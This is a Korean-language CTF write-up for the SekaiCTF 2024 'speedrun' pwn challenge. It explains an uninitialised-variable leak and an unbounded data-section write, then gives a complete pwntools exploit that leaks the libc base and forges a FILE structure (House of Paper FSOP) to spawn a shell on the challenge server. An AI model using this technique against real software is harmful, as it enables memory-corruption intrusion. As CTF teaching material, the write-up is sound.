SekaiCTF 2024 - speedrun
Posted on Tue 03 September 2024 in CTF
문제 분석
봇과 더 큰 수를 말하면 이기는 게임이 구현된 소스코드가 주어진다.
취약점
취약점은 다음과 같다:
- simulate 함수에서 scanf("%llu%*c", &bot_num); 에 입력을 넣을 때 -n 을 입력하면 bot_num을 초기화하지 않고 다음 scanf로 넘어갈 수 있다. 그러면 bot_num이 초기화되지 않고 사용되므로 그 값을 알아낼 수 있다.
- game_history에 크기 제한이 없으므로 seed_generator를 포함한 data 영역에 임의의 값을 쓸 수 있다.
익스플로잇
두 취약점을 이용해서 libc의 base 주소를 구하고, seed_generator를 잘 변조해서 House of Paper [1] 를 이용해서 FSOP를 하면 된다.
from tqdm import tqdm from pwn import * # context.log_level = "debug" def get_win_plays(ops: int = 0xFFFFFFFFFFFFFFFE) -> int: # bit_count = ops.bit_count() # assert 0 <= ops <= 0xFFFFFFFFFFFFFFFF # assert bit_count < 64 # ret = 0 # for _ in range(bit_count + 1): # ret |= 1 # ret <<= 1 # return ret return 0xFFFFFFFFFFFFFFFF def fight_bot(player_plays: int): p.sendlineafter(b"> ", b"f") p.sendlineafter(b": ", str(player_plays).encode()) def print_game_history(): p.sendlineafter(b"> ", b"p") def reseed_bot(): p.sendlineafter(b"> ", b"r") def fight_and_win(): p.sendlineafter(b"> ", b"f") p.recvuntil(b"Bot plays ") bot = int(p.recvuntil(b"!")[:-1]) player = get_win_plays(bot) p.sendlineafter(b": ", str(player).encode()) def fight_and_lose(): p.sendlineafter(b"> ", b"f") p.sendlineafter(b": ", str(0).encode()) def leak_libc_base(): def simulate_with_player(plays: int) -> int: p.sendlineafter(b"> ", b"s") p.sendlineafter(b": ", b"-") p.sendlineafter(b": ", str(plays).encode()) res = p.recvuntil(b"win!") return int(b"You" not in res) def leak_bit_count() -> int: MAX_BIT_COUN = 35 val = 0b111 cur = simulate_with_player(0b11) prev = simulate_with_player(0b01) pprev = simulate_with_player(0b00) for i in range(3, MAX_BIT_COUN): pprev, prev, cur = prev, cur, simulate_with_player(val) if pprev == 1 and cur != 1: return i val <<= 1 val |= 1 def make_val(*bit_idxs: int) -> int: BIT_LIST = [1 << i for i in range(63)] val = 0 for idx in bit_idxs: assert 0 <= idx < len(BIT_LIST) val |= BIT_LIST[idx] return val bit_count = leak_bit_count() fixed = [] not_fixed = [i for i in range(bit_count)] last_moved = -1 while len(fixed) != bit_count: val = make_val(*(fixed + not_fixed)) if simulate_with_player(val) == 1: fixed.append(last_moved) not_fixed.pop() else: last_moved = not_fixed[0] not_fixed.append(not_fixed[-1] + 1) not_fixed.pop(0) io_default_uflow_plus_50 = make_val(*fixed) io_default_uflow = io_default_uflow_plus_50 - 50 libc_base = io_default_uflow - libc.symbols["_IO_default_uflow"] return libc_base def leak_libc_base_with_progress(): def simulate_with_player(plays: int) -> int: p.sendlineafter(b"> ", b"s") p.sendlineafter(b": ", b"-") p.sendlineafter(b": ", str(plays).encode()) res = p.recvuntil(b"win!") return int(b"You" not in res) def leak_bit_count() -> int: MAX_BIT_COUN = 35 val = 0b111 cur = simulate_with_player(0b11) prev = simulate_with_player(0b01) pprev = simulate_with_player(0b00) with tqdm(total=MAX_BIT_COUN - 3, desc="Leak libc's bit count") as pbar: for i in range(3, MAX_BIT_COUN): pprev, prev, cur = prev, cur, simulate_with_player(val) if pprev == 1 and cur != 1: pbar.update(MAX_BIT_COUN - i) return i val <<= 1 val |= 1 pbar.update(1) def make_val(*bit_idxs: int) -> int: BIT_LIST = [1 << i for i in range(63)] val = 0 for idx in bit_idxs: assert 0 <= idx < len(BIT_LIST) val |= BIT_LIST[idx] return val bit_count = leak_bit_count() fixed = [] not_fixed = [i for i in range(bit_count)] last_moved = -1 with tqdm(total=bit_count, desc="Leak libc base") as pbar: while len(fixed) != bit_count: val = make_val(*(fixed + not_fixed)) if simulate_with_player(val) == 1: fixed.append(last_moved) not_fixed.pop() pbar.update(1) else: last_moved = not_fixed[0] not_fixed.append(not_fixed[-1] + 1) not_fixed.pop(0) io_default_uflow_plus_50 = make_val(*fixed) io_default_uflow = io_default_uflow_plus_50 - 50 libc_base = io_default_uflow - libc.symbols["_IO_default_uflow"] return libc_base def set_bit(bit: int): assert bit == 0 or bit == 1 if bit: fight_and_win() else: fight_and_lose() def set_bits(bits: int, bit_count: int): for _ in range(bit_count): set_bit(bits & 1) bits >>= 1 def set_bits_with_progress(bits: int, bit_count: int): for _ in tqdm(range(bit_count), desc="Set bits"): set_bit(bits & 1) bits >>= 1 def set_bytes(data: bytes): for c in data: cur = int(c) set_bits(cur, 8) def set_bytes_with_progress(data: bytes): with tqdm(total=len(data) * 8, desc="Set bytes") as pbar: for c in data: cur = int(c) for _ in range(8): set_bit(cur & 1) cur >>= 1 pbar.update(1) # p = process("./patched_chall") p = remote("speedpwn.chals.sekai.team", 1337, ssl=True) elf = ELF("./chall") libc = ELF("./libc-2.39.so") log.info("Leak libc base...") LIBC_BASE = leak_libc_base_with_progress() IO_WFILE_JUMPS = LIBC_BASE + 0x202228 IO_FILE_JUMPS = LIBC_BASE + 0x202030 log.success(f"LIBC_BASE: {hex(LIBC_BASE)}") log.info("Setup wide_data->vtable") set_bits_with_progress( LIBC_BASE + libc.symbols["system"], 64 * 2 ) # @ elf.symbols['game_history'] log.info("Set FILE* pointer to data section") FILE_POINTER = 0x4040A0 WIDE_DATA_POINTER = FILE_POINTER + 0xF0 WIDE_VTABLE_POINTER = elf.symbols["game_history"] - 0x18 set_bits_with_progress(0x4040A0, 64) log.info( "Build FILE structures suitable for House of Paper; https://zeroclick.sh/posts/fsop-intro/" ) fake_file = b"" # FILE fake_file += b"h;sh".ljust(8, b"\x00") # flag; fake_file += p64(0) # read ptr fake_file += p64(0) # read end fake_file += p64(0) # read base fake_file += p64(0) # write base fake_file += p64(0) # write ptr fake_file += p64(0) # write end fake_file += p64(0) # buf base; fake_file += p64(0) # buf end; fake_file += p64(0) * 3 # save and backup ptrs; fake_file += p64(0) # marker; 0x60 fake_file += p64(0) # chain; 0x68 fake_file += p32(0) + p32(0) # fileno & flag; 0x70 fake_file += p64(0) # old off; 0x78 fake_file += p64(0) # etc; 0x80 fake_file += p64(0x404000 + 0x500) # lcok; 0x88 fake_file += p64(0) # offset; 0x90 fake_file += p64(0) # codecvt; 0x98 fake_file += p64(WIDE_DATA_POINTER) # wide data; 0xa0 fake_file += p64(0) # free list; 0xa8 fake_file += p64(0) # freeers buf; 0xb0 fake_file += p64(0) # pad5; 0xb8; fake_file += p64(0) * 3 # padding; 0xc0 fake_file += p64(IO_WFILE_JUMPS + 0x8) # vtable; 0xd8 fake_file += p64(0) * 3 # for wide_data fake_file += p64(0) * 3 # ; 0x00 fake_file += p64(1) # write ptr; 0x20 fake_file += p64(0) * 0x17 fake_file += p64(WIDE_VTABLE_POINTER) # vtable set_bytes_with_progress(fake_file) log.info("Get shell") reseed_bot() p.interactive()
참조
[1] | House of Paper: https://zeroclick.sh/posts/fsop-intro/ |